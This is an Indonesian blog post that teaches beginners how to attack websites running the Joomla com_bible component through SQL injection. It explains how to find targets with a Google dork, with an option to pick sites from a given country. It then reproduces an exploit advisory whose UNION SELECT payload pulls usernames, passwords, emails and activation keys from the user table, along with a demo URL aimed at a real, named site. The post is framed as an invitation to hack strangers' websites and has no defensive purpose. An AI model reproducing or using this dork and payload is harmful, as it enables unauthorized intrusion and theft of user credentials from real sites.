Cara SQL injection paling mudah

Minggu, 28 Juli 20130 komentar

banyak orang yang ingin belajar web hacking mengira SQL injection itu sangatlah susah, kali ini saya akan memberikan cara paling mudah untuk SQL injection atau lebih sering di sebut " SQL injection bagi pemalas " wkwkwkwk.
coba bayangkan, saking mudahnya sampai di sebut bagi Pemalas,hihihi


sebelumnya saya mohon maaf kepada para master karena info ini sangatlah jadul, namun saya hanya ingin berbagi, kepada newbie2 seperti saya ini,

info yang ingin saya share kali ini adalah menyangkut ttg " SQL Injection joomla exploit vulnerability"


oke, tanpa basa basi lagi,
contoh exploit pada : com_bible .
oke,
langkah pertama yang kita lakukan mencari sebuah web yang kita duga bisa kita inject.
buka http://google.com kemudian ketikkan inurl:"/index.php?option=com_bible"
nah, jika kita menginginkan untuk hack suatu web dari negara tertentu, maka tambahkan site:[jenis domain suatu negara]
inurl:"/index.php?option=com_bible" kemudian tekan enter
setelah itu kita akan di bawa keu sebuah halaman yang menampilkan web2 terkandung component bible pada joomla,
pilih salah satu web nya,

nah, sekarang saya akan memberikan bentuk contoh exploitnya:



[!] ===========================================================================[!]

[~] Joomla com_bible SQL Injection vulnerability
[~] Author : r3m1ck (mick.emo.boy@yahoo.com)
[~] Homepage : http://www.indonesiancoder.com , http://r3m1ck.us
[~] Date : 31 May, 2010
[~] location : Indonesia
[~] Dork : aura_kasih=p~

[!]===========================================================================[!]

[ Vulnerable File ]

http://site/index.php?option=com_bible&book=1&chapter=[INDONESIANCODER]

[ XpL ]

/index.php?option=com_bible&book=1&chapter=-50/**/UNION/**/SELECT/**/1,2,group_concat(username,03a,password,03a,email,03a,activation,03c62723e),4,5/**/FROM/**/mos_users

or

another columns

[ d3m0 ]
http://www.throughfaith.org//index.php?option=com_bible&book=1&chapter=-50/**/UNION/**/SELECT/**/1,2,group_concat%28username,03a,password,03a,email,03a,activation,03c62723e%29r3%E2%80%8Bm1ck,4,5/**/FROM/**/mos_users

etc etc etc ;]

[!]===========================================================================[!]
Share this article :

Posting Komentar

 
Support : Google
Copyright © 2011. ENno Blog - All Rights Reserved
Proudly powered by Blogger